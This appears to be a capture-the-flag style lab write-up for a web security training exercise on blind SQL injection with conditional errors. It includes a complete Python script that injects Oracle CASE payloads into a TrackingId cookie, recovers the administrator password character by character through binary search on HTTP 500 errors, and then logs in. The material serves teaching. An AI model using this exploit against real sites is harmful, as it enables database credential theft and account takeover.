10. Blind SQL injection with conditional errors

The target contains a SQL injection vulnerability in its cookies. It provides a TrackingId cookie to keep track of visitors for analytics purposes. This TrackingId cookie is injectable. Unfortunately, this target doesn’t give us any indication of whether the SQL query was executed successfully or not. To remedy this, we intentionally trigger an error in the SQL query, which causes the application to return a 500 error.

This target uses Oracle as its database management system. We make some minor changes to our SQL query and use an if / else statement to trigger an error if we’ve correctly guessed a character of the password. We use binary search to find each character of the administrator password. This lab only uses lowercase letters and numbers in the password, so our range of characters to search through is:

0123456789abcdefghijklmnopqrstuvwxyz

We binary search each character of the password, one by one, until we have the full password. Then we login as the administrator.

Solution:

# usage:
# python3 10.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
 
import http.client
import re
import string
from argparse import ArgumentParser
from typing import Optional
 
import requests
 
ALPHANUM = list(string.digits + string.ascii_lowercase)
http.client.HTTPConnection.debuglevel = 1
 
 
class Solution:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip("/")
        self.s = None
 
    def login(self, username: str, password: str) -> requests.Response:
        self.s = requests.Session()
        login_url = f"{self.url}/login"
        r = self.s.get(login_url)
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            login_url,
            data={
                "csrf": csrf,
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def search(self, i: int) -> Optional[str]:
        s = requests.Session()
        req = s.get(f"{self.url}/")
        cookies = s.cookies.get_dict()
        tracking_id = cookies["TrackingId"]
 
        l, r = 0, len(ALPHANUM) - 1
        while l <= r:
            m = (l + r) // 2
 
            cookies["TrackingId"] = (
                f"{tracking_id}'||(SELECT CASE WHEN SUBSTR(password,{i},1)='{ALPHANUM[m]}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
            )
            s = requests.Session()
            req = s.get(f"{self.url}/", cookies=cookies)
            if req.status_code == 500:
                return ALPHANUM[m]
 
            cookies["TrackingId"] = (
                f"{tracking_id}'||(SELECT CASE WHEN SUBSTR(password,{i},1)<'{ALPHANUM[m]}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
            )
            s = requests.Session()
            req = s.get(f"{self.url}/", cookies=cookies)
            if req.status_code == 500:
                r = m - 1
            else:
                l = m + 1
 
        return
 
    def solve(self) -> None:
        password = []
        i = 1
        while True:
            ch = self.search(i)
            if not ch:
                break
            else:
                password.append(ch)
            i += 1
 
        password = "".join(password)
        print(f"Password found! -- {password}")
        self.login("administrator", password)
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    args = parser.parse_args()
    s = Solution(args.url)
    s.solve()
 
 
if __name__ == "__main__":
    main()